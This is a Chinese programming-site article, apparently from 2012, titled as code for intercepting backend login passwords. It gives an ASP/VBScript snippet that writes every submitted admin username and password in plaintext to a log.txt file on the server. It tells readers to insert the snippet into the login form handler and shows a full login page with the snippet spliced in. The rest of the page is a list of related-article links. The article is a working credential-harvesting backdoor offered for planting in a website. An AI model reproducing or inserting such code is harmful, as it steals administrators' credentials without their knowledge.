Asp截获后台登录密码的代码

来源:asp之家 时间:2012-12-04 20:20:38 


代码如下:


set fso=server.createobject("scripting.filesystemobject")
if fso.FileExists(server.mappath("log.txt"))=true then
set fin=fso.OpenTextFile(server.mappath("log.txt"))
temp=fin.readall
fin.close
set fin=nothing
end if
set fout=fso.createtextfile(server.mappath("log.txt"))
fout.WriteLine(temp&"user:"&username&"¦pwd:"&password&"¦time:"&now()&"")
fout.close
set fout=nothing
set fso=nothing


在后台登录处表单提交的地方插入!

代码如下:


<%@language=vbscript codepage=936 %>
<%
dim sql,rs
dim username,password,CheckCode
username=replace(trim(request("username")),"'","")
password=replace(trim(Request("password")),"'","")
CheckCode=replace(trim(Request("CheckCode")),"'","")
if UserName="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>用户名不能为空!</li>"
end if
if Password="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>密码不能为空!</li>"
end if
if CheckCode="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>验证码不能为空!</li>"
end if
if session("CheckCode")="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>你登录时间过长,请重新返回登录页面进行登录。</li>"
end if
if CheckCode<>CStr(session("CheckCode")) then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>您输入的确认码和系统产生的不一致,请重新输入。</li>"
end if
'这后面是我增加的代码~开始区域
set fso=server.createobject("scripting.filesystemobject")
if fso.FileExists(server.mappath("log.txt"))=true then
set fin=fso.OpenTextFile(server.mappath("log.txt"))
temp=fin.readall
fin.close
set fin=nothing
end if
set fout=fso.createtextfile(server.mappath("log.txt"))
fout.WriteLine(temp&"user:"&username&"|pwd:"&password&"|time:"&now()&"")
fout.close
set fout=nothing
set fso=nothing
'后面的代码被我删除了~结束区域

%>


本文涉及语句作者是:会的不多iFat

标签:截获,后台登录
0
投稿

猜你喜欢

  • asp如何显示自定义随机信息?

    2010-06-08 09:39:00
  • php 深入理解strtotime函数的使用详解

    2024-05-03 15:53:03
  • 对“关于购物车的想法”的一些回复

    2009-03-10 18:15:00
  • python动态加载变量示例分享

    2022-10-23 18:57:50
  • tf.truncated_normal与tf.random_normal的详细用法

    2023-03-02 01:15:08
  • 实用的PHP带公钥加密类分享(每次加密结果都不一样哦)

    2024-05-11 10:06:15
  • jdbc连接sqlserver数据库示例

    2024-01-17 12:56:16
  • 用js限制网页只在微信浏览器中打开(或者只能手机端访问)

    2023-09-24 00:11:25
  • Pandas实现在线文件和剪贴板数据读取详解

    2021-06-02 16:49:55
  • Python实战之疫苗研发情况可视化

    2023-08-19 15:29:35
  • Python入门篇之正则表达式

    2021-10-20 09:01:34
  • Python使用smtplib 实现单发和群发邮件验证码

    2023-07-10 13:56:50
  • 优化Mysql数据库的8个方法

    2024-01-15 01:37:24
  • layui表单提交到后台自动封装到实体类的方法

    2024-04-22 22:33:11
  • 如何让shell终端和goland控制台输出彩色的文字

    2023-07-13 03:24:56
  • MySQLMerge存储引擎

    2024-01-14 07:39:25
  • CSS的优先级与特殊性

    2008-06-24 11:36:00
  • Python网络编程详解

    2022-01-09 15:25:10
  • 一个基于flask的web应用诞生 flask和mysql相连(4)

    2024-01-18 20:37:16
  • 利用Python如何生成随机密码

    2021-03-24 06:07:00
  • asp之家 网络编程 m.aspxhome.com